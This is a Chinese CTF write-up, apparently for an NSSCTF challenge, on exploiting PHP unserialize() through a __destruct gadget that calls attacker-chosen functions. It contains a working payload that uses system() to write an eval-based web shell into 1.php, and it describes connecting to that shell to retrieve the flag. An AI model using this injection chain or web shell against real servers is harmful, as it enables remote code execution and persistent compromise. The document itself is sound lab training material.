题目:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<?php
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
|
__destruct 魔术方法在对象销毁时触发
1
2
|
$a = $this->lt;
$a($this->lly);
|
__destruct 方法里的代码的意思是将变量 $lt
的内容当作方法名,将变量 $lly
的内容当作给方法传递的值
尝试写入 WebShell :
1
2
3
4
5
6
7
8
9
10
|
<?php
class lyh
{
public $url = 'NSSCTF.com';
public $lt = 'system';
public $lly = 'echo "<?php highlight_file(__FILE__);eval(\$_POST[\'Lyrio\']);?>" > 1.php';
}
$obj = new lyh();
echo serialize($obj);
?>
|
得到字符序列:
1
|
O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:71:"echo "<?php highlight_file(__FILE__);eval(\$_POST['Lyrio']);?>" > 1.php";}
|
POST 提交:
访问一下 1.php ,成功写入 WebShell:
最后用 WebShell 管理工具连接,在根目录找到 flag